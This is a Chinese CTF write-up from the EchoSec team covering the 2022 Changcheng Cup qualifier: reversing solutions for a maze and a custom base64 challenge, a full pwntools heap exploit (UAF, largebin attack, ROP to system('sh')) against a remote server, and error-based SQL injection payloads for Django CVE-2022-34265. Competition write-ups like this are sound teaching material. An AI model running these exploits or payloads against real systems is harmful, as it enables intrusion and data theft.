2022-长城杯初赛Write up-by EchoSec安全团队
前言
EchoSec安全团队参加的首场比赛,在各位师傅们的输出下,也拿到第8名的成绩,虽然不算特别好,也是EchoSec安全团队迈出的第一步。同时欢迎各位有兴趣的师傅加入我们,一起学习进步。可+v:He1l_T4lk
re
rabbit_hole
打开之后很多花,我感觉没多少就直接手动patch,结果还真不少
patch完之后可以看到主函数
30[0] = v3;
v30[1] = retaddr;
v6 = alloca(4532);
atexit(end);
cout(std::cout, "Help Alice find a way out of the rabbit hole:");
gets_s(input, 0x100u);
input_length = strlen(input); // input_length 16,134..
v8 = BYTE2(input_length) ^ (16777619 * (BYTE1(input_length) ^ (16777619 * ((unsigned __int8)input_length ^ 0x50C5D1F))));
v9 = HIBYTE(input_length) ^ (16777619 * v8);
if ( v9 == 0x458766D3 ) // input length = 134
{
strcpy(key, "The quick brown fox jumps over the lazy dog.");
blow_fish_init((int)this, v4, v5, (int)key, v8);
memset(key, 0, 40);
blow_fish_encrypt(this, (int)key, (int)input, v19);
v20 = 0;
while ( key[v20] == not[v20] )
{
if ( ++v20 >= 40 )
{
v21 = cout(std::cout, "Can you get h3re? :>");
std::ostream::operator<<(v21);
return 0;
}
}
v17 = (const char *)&unk_44C88; // :<
LABEL_16:
其实主函数没什么用,主函数可以看到blow_fish,aes等相关的东西,仔细分析发现是无关的
从主函数的逻辑,也就是最后的结果字符串看
for ( k = 0;
(HIBYTE(k) ^ (16777619 * (BYTE2(k) ^ (16777619 * (BYTE1(k) ^ (16777619 * ((unsigned __int8)k ^ 0x50C5D1F))))))) != 1563082853;
++k )
{
if ( *((_BYTE *)&v30[-1130] + k) != cipher[k] )
{
v15 = cout(std::cout, "That is toooooooo bad :(");// to bad
std::ostream::operator<<(v15);
exit(-1);
}
}
v16 = cout(std::cout, "Not a very good path dont you think? :)");
std::ostream::operator<<(v16);
return 0;
}
哪怕通过了check也不是flag
仔细观察后发现在blow_fish_encrypt里面有seh,触发异常会调用,进入sub_411e0函数
.text:00041595 loc_41595: ; DATA XREF: .rdata:stru_45340↓o
.text:00041595 ; __except(loc_41577) // owned by 41538
.text:00041595 8B 65 E8 mov esp, [ebp+ms_exc.old_esp]
.text:00041598 8B 4D 0C mov ecx, [ebp+arg_4]
.text:0004159B E8 40 FC FF FF call sub_411E0
.text:0004159B ; } // starts at 41538
这里面才是我们要的东西
分析seh中各个try/except
,会在0004136B
发现在这样一部分代码,4个输入hjkl
配上跳转,加上题目的提示
Alice saw a white rabbit talking to himself, and then out of curiosity, she followed him into a rabbit hole. Now, can you help her find the right way out of here?
猜测可能是迷宫题,迷宫题的话就需要找到迷宫的图,然后画出来就可以了,这个迷宫是两个数组组成,要相互异或,然后再异或行和列左移8位的值,具体xor在下图
.text:000413BA 8D 04 11 lea eax, [ecx+edx] ; ecx是行数*0x15,edx是列数,ecx+edx表示地图数组偏移
.text:000413BD 0F B6 88 08 42 04 00 movzx ecx, ds:byte_44208[eax] ; 取出byte_44208对应索引值
.text:000413C4 33 0C 85 C8 43 04 00 xor ecx, ds:dword_443C8[eax*4] ; 取出dword_443C8对应索引值与byte_44208对应值异或后存在ecx
.text:000413CB 8B C2 mov eax, edx
.text:000413CD C1 E0 08 shl eax, 8 ; 列数左移8位后和ecx异或
.text:000413D0 33 C8 xor ecx, eax
.text:000413D2 33 CB xor ecx, ebx ; 行数异或ecx
.text:000413D4 83 F9 01 cmp ecx, 1 ; 对比值是否为1,为1则继续检查下一个输入,错误则exit
.text:000413D7 75 28 jnz short loc_41401
等效于
if ((byte)byte_44208[ecx+edx] ^ (dword)dword_443c8[ecx+edx] ^ (edx<<8) ^ ecx == 1){
...
}else{
exit(0)
}
分析4个字符对应操作可以知道
.text:0004136B 3C 6A cmp al, 6Ah ; 'j'
.text:0004136D 75 2A jnz short loc_41399
.text:0004136D
.text:0004136F 43 inc ebx
.text:00041370 89 5D E0 mov [ebp+var_20], ebx ; 行
.text:00041373 83 C1 15 add ecx, 15h ; 一行21个
.text:00041376 89 4D D8 mov [ebp+var_28], ecx ; 地图偏移
一行长度为0x15
,高长度也为0x15
,符合两个数组的大小0x15*0x15=441
提取两段数据,按规则每一位都算一下,最后结果只有0或1
x1 = [...]
x2 = [...]
x3 = []
for i in range(21):
for j in range(21):
x3.append(x1[i*0x15+j]^x2[i*0x15+j]^i^(j<<8))
print(hex(x1[21]))
for i in range(0,441,21):
print(x3[i:i+21])
结果如下
[1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
[1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0]
[1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0]
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0]
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0]
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0]
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0]
[1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0]
[1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0]
[1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0]
[1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0]
[0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0]
[0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0]
[0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0]
[0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0]
[1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0]
[1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0]
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0]
[0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0]
[0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0]
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1]
按着1的方向走,得到最简结果
.\rabbit_hole_release.exe
Help Alice find a way out of the rabbit hole:jjjllllllllllllllljjjjjjjjkjjkkkkhhhhhhhkkkkkkkkkkjjjjllljjjlllhhhhlljjjjjjkkkkkkkkjjlllllllllllhhlllllhhhlhhhhhhhhlljjjjjjjjjjjjjjjjl
You r3A1ly Have f0und the r1ght way!!! :)
The game has ended! Have you found a way out?
If you think you do, then your flag will be: flag{md5(input)}
exp:
flag = 'jjj'+'l'*15+'j'*8+'kjjkkkk'+'h'*7+'k'*10+'jjjj'+'llljjjlllhhhhll'+'j'*6+'k'*8+'jj'+'l'*11+'hhlllllhhhl'+'h'*8+'ll'+'j'*16+'l'
print(flag)
print(md5(flag.encode()).hexdigest())
baby_re
python编写的exe先pyinstxtractor.py提取pyc
python3.7提取出run.pyc后,uncompyle6转成python脚本
from new import *
print('welcome!!!')
flag_input = input('please input flag:')
if set(word) >= set(flag_input):
pt = mmo(flag_input)
flag = pt()
if flag == '5WEU5ROREb0hK+AurHXCD80or/h96jqpjEhcoh2CuDh=':
print('right!!!')
print('your flag: flag{' + flag_input + '}')
else:
print('Error')
else:
print('please input again!')
发现用到了new库,这不是现有的库,而是出题人自己写的,在提取出来的文件中可以找到new.cp37-win_amd64.pyd
文件,pyd文件很难看,查了一下大部分都是用测信道测试的方法来做,通俗的来说就是调用pyd中的函数来检测输入输出之间的差异,可能xor某些数值,幸运的是这题就是这样来做
只看密文知道至少有一个base64,ida 打开pyd查看一下字符串,发现pyd被upx加壳了,吾爱破解的脱壳软件脱壳失败,放到linux下的upx反而可以脱壳成功 upx -d new.cp37-win_amd64.pyd
ata:000000018000A710 aUkbnhwvcaest74 db 'uKbnhWvcAesT74M6D2CU/EjrgLYo50GiOtFPXI1HaB3yZqkd+JSR8lzVNpwf9xQm',0
.rdata:000000018000A710 ; DATA XREF: .data:000000018000E570↓o
.rdata:000000018000A751 align 8
.rdata:000000018000A758 aO0oo00o000oo00 db 'O0OO00O000OO00000',0
.rdata:000000018000A758 ; DATA XREF: .data:000000018000DEB8↓o
.rdata:000000018000A76A align 10h
.rdata:000000018000A770 aO000ooo00oo0o0 db 'O000OOO00OO0O0OO0',0
.rdata:000000018000A770 ; DATA XREF: .data:000000018000DDF0↓o
.rdata:000000018000A782 align 8
.rdata:000000018000A788 aO0000o000ooo0o db 'O0000O000OOO0OOOO',0
.rdata:000000018000A788 ; DATA XREF: .data:000000018000DDA0↓o
.rdata:000000018000A79A align 20h
.rdata:000000018000A7A0 aImport db '__import__',0 ; DATA XREF: .data:000000018000E160↓o
.rdata:000000018000A7AB align 10h
.rdata:000000018000A7B0 aMmoCall db 'mmo.__call__',0 ; DATA XREF: .data:000000018000E278↓o
.rdata:000000018000A7BD align 20h
.rdata:000000018000A7C0 aDoc_0 db '__doc__',0 ; DATA XREF: .data:000000018000E0E8↓o
.rdata:000000018000A7C8 aMaketrans db 'maketrans',0 ; DATA XREF: .data:000000018000E200↓o
.rdata:000000018000A7D2 align 8
.rdata:000000018000A7D8 aName_1 db '__name__',0 ; DATA XREF: .data:000000018000E318↓o
.rdata:000000018000A7E1 align 8
.rdata:000000018000A7E8 aOoooo0o000o00o db 'OOOOO0O000O00O0O0',0
.rdata:000000018000A7E8 ; DATA XREF: .data:000000018000DFA8↓o
.rdata:000000018000A7FA align 20h
.rdata:000000018000A800 aO0o0o00o0o0o00 db 'O0O0O00O0O0O00O00',0
.rdata:000000018000A800 ; DATA XREF: .data:000000018000DE90↓o
.rdata:000000018000A812 align 4
.rdata:000000018000A814 aSend_0 db 'send',0 ; DATA XREF: .data:000000018000E4D0↓o
.rdata:000000018000A819 align 20h
.rdata:000000018000A820 aOo00o0oo00oo00 db 'OO00O0OO00OO0000O',0
.rdata:000000018000A820 ; DATA XREF: .data:000000018000DF30↓o
.rdata:000000018000A832 align 8
.rdata:000000018000A838 aTest db '__test__',0 ; DATA XREF: .data:000000018000E4F8↓o
.rdata:000000018000A841 align 8
.rdata:000000018000A848 aMmoInit db 'mmo.__init__',0 ; DATA XREF: .data:000000018000E2A0↓o
.rdata:000000018000A855 align 8
.rdata:000000018000A858 aOo000ooo0o0ooL db 'oo000ooo0o0oo.<locals>.genexpr',0
.rdata:000000018000A858 ; DATA XREF: .data:000000018000E408↓o
.rdata:000000018000A877 align 8
.rdata:000000018000A878 aGenexpr_0 db 'genexpr',0 ; DATA XREF: .data:000000018000E138↓o
.rdata:000000018000A880 aAbcdefghijklmn_0 db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
可以看到正常的base64表和一个base64表等长的表 uKbnhWvcAesT74M6D2CU/EjrgLYo50GiOtFPXI1HaB3yZqkd+JSR8lzVNpwf9xQm
,直接base64解码什么都没有,考虑到可能base64换表了
尝试base64换表一下得到b"pUSs83T'D\x07\x02\x00^y\x12CG[]A<=kyYQ\x07lDR\x01\x01?"
这可能还用了其他函数加密,查阅了资料后发现可以本地python导入已有的pyd,使用help
命令可以查看一些信息
In [2]: import new
In [3]: help(new)
Help on module new:
NAME
new
DESCRIPTION
Description:
Autor: Emtanling
Date: 2022-07-26 09:36:06
LastEditors: Emtanling
LastEditTime: 2022-07-26 09:49:34
CLASSES
builtins.object
mmo
class mmo(builtins.object)
| mmo(O0000000O0000O00O)
|
| Methods defined here:
|
| __call__(OO00O00O00O0OO0O0)
|
| __init__(OO0O0O000OO0OO0OO, O0000000O0000O00O)
|
| ooo00o0o0o0(O00O0O0O00OOOO000)
|
| ----------------------------------------------------------------------
| Data descriptors defined here:
|
| __dict__
| dictionary for instance variables (if defined)
|
| __weakref__
| list of weak references to the object (if defined)
FUNCTIONS
oo000ooo0o0o0(OOOOO0O000O00O0O0)
oo000ooo0o0oo(OO0000OOOOO0OOOO0)
DATA
__test__ = {}
word = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789...
FILE
c:\users\axe\desktop\baby_re_bc0325445163f53c8ae03535511cf06a\new.pyd
里面有一些奇怪的函数名,没有看到base64,怀疑base64的函数名被改了
尝试写脚本测试一下源代码中的,把结果base64换表之后解密,再和输入值异或得到一个异或值,多加密几次发现异或值一样就可以确定了
from base64 import *
import new
string1 = "uKbnhWvcAesT74M6D2CU/EjrgLYo50GiOtFPXI1HaB3yZqkd+JSR8lzVNpwf9xQm"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
def crack_base(c: str):
string1 = "uKbnhWvcAesT74M6D2CU/EjrgLYo50GiOtFPXI1HaB3yZqkd+JSR8lzVNpwf9xQm"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
return list(b64decode(c.translate(str.maketrans(string1,string2))))
pt1 = new.mmo('1'*32)
c1 = pt1() # 这是模拟正常加密
print(c1) # GDLoG1tPEV4hKIeCjHqvDh0gjhKaYjqNbEXvYhhKED7=
# 尝试base64换表解密
print(crack_base(c1))
# [121, 6, 91, 122, 104, 99, 87, 115, 68, 6, 82, 82, 90, 123, 70, 64, 71, 88, 88, 64, 104, 105, 107, 120, 9, 89, 6, 104, 65, 1, 85, 3]
# 测试第二组
pt2 = new.mmo('2'*32)
c2 = pt2() # 这是模拟正常加密
print(c2) # GOEgGjqOEcKcKEW2jrtWD82oj84yY1tfbIaWY8AbEOu=
# 尝试base64换表解密
print(crack_base(c2))
# [122, 5, 88, 121, 107, 96, 84, 112, 71, 5, 81, 81, 89, 120, 69, 67, 68, 91, 91, 67, 107, 106, 104, 123, 10, 90, 5, 107, 66, 2, 86, 0]
发现两组输入值之间相异或值为1,输入相异或也为1,那说明每次输入都是异或相同的值,我们讲密文和输入值相异或可以得到中间的异或值。输入长度为32是因为测试后发现输入再多就会报错,还有就是题目密文base64解密后长度为32位
exp:
from base64 import *
str1 = "5WEU5ROREb0hK+AurHXCD80or/h96jqpjEhcoh2CuDh="
string1 = "uKbnhWvcAesT74M6D2CU/EjrgLYo50GiOtFPXI1HaB3yZqkd+JSR8lzVNpwf9xQm"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
c = b64decode(str1.translate(str.maketrans(string1,string2)))
plain=b'1'*32
cipher=[121, 6, 91, 122, 104, 99, 87, 115, 68, 6, 82, 82, 90, 123, 70, 64, 71, 88, 88, 64, 104, 105, 107, 120, 9, 89, 6, 104, 65, 1, 85, 3]
key = [p^c for p,c in zip(plain,cipher)]
flag = [key[i]^c[i] for i in range(32)]
print(bytes(flag))
Pwn
glibc_master
Free 的时候没有清空存在 UAF ;输入的时候存在简单加密,IDA 反编译不出来函数,通过调试可以知道与固定字符进行异或操作;输出函数使用一定次数后会关闭 stdout ;后面还发现会禁用 free_hook 和 malloc_hook ;
利用 UAF 进行 largebin attack 攻击 mp_.tcache_bins ,将 tcache size 范围扩大;泄露出 environ 上面的栈地址;劫持返回地址运行 ROP getshell ;
from pwn import *
context.log_level = "debug"
p = process("./glibc_master")
p = remote("123.57.245.65",43526)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def dec(miw):
key = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
mingw = ''
try:
for i in range(len(miw)):
mingw += chr(ord(miw[i])^ord(key[i%len(key)]))
return mingw
except:
exit(-1)
def add0(i, s):
p.sendlineafter(">>", str(1))
p.sendlineafter("\n", str(i))
p.sendlineafter("\n", str(s))
def edit0(i, content):
p.sendlineafter(">>", str(2))
p.sendlineafter("\n", str(i))
p.sendafter("\n", content)
def show(i):
p.sendlineafter(">>", str(3))
p.sendlineafter("\n", str(i))
def delete0(i):
p.sendlineafter(">>", str(4))
p.sendlineafter("\n", str(i))
def add1(i, s):
p.sendline(str(1))
sleep(0.5)
p.sendline(str(i))
sleep(0.5)
p.sendline(str(s))
sleep(0.5)
def delete1(i):
p.sendline(str(4))
sleep(0.5)
p.sendline(str(i))
sleep(0.5)
def edit1(i, content):
p.sendline(str(2))
sleep(0.5)
p.sendline(str(i))
sleep(0.5)
p.send(content)
sleep(0.5)
add0(0, 0x448)
add0(1, 0x508)
add0(2, 0x438)
add0(3, 0x508)
add0(4, 0x508)
add0(6, 0x508)
add0(7, 0x508)
delete0(0)
show(0)
leak_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8, "\x00"))
print(hex(leak_addr))
libc_base = leak_addr - 2018272
environ = libc_base + libc.sym["environ"]
print(hex(libc_base))
add0(8, 0x458)
delete0(2)
show(2)
ori_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8, "\x00"))
mp_tcachebin = libc_base + 2015952
payload = p64(ori_addr) * 2 + p64(0) + p64(mp_tcachebin - 0x20)
edit0(0, payload + "\n")
add0(9, 0x458)
delete0(7)
delete0(6)
edit0(6, p64(environ) + "\n")
add0(10, 0x508)
add0(11, 0x508)
show(11)
stack = u64(p.recvuntil("\x7f")[-6:].ljust(8, "\x00"))
ret_addr = stack - 288
edit1(7, p64(0) * 2 + "\n")
delete1(7)
delete1(6)
edit1(6, dec(p64(ret_addr)) + "\n")
add1(12, 0x508)
add1(13, 0x508)
p.sendline(str(2))
p.sendline(str(13))
pop_rdi = libc_base + 0x23b72
ret = libc_base + 0x22679
payload = p64(ret) + p64(pop_rdi) + p64(ret_addr + 0x20)
payload += p64(libc_base + libc.sym['system']) + ";;;;sh".ljust(8,'\x00')
p.send(dec(payload)+'\n')
p.sendline("exec 1>&2")
p.interactive()
Web
Djangogogo
根据提示联想到最近的一个洞:CVE-2022-34265
根据报错信息拼接出正常回显的payload
year%20FROM%20purchase_date))--
因为可以报错,直接报错注入,同时提示flag在flag表,直接查询
?name=YEAR FROM purchase_date)) and updatexml('~',concat('~',(select flag from flag),'~'),'~')--
只得到flag的前31位,用SQL函数进行切割
?name=YEAR FROM purchase_date)) and updatexml('~',concat('~',(substr((select flag from flag),32,64)),'~'),'~')--
声明
团队起步阶段,如果错误还望师傅们指正,同时欢迎加入我们:He1l_T4lk
本文初衷为分享网络安全知识,请勿利用技术做出任何危害网络安全的行为,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,与EchoSec安全团队及作者无关!
EchoSec 安全团队保留对文章绝对的解释权,转载与传播时须保证文章的完整性,同时标明出处。未经允许,禁止任何形式的转载或用于商业用途。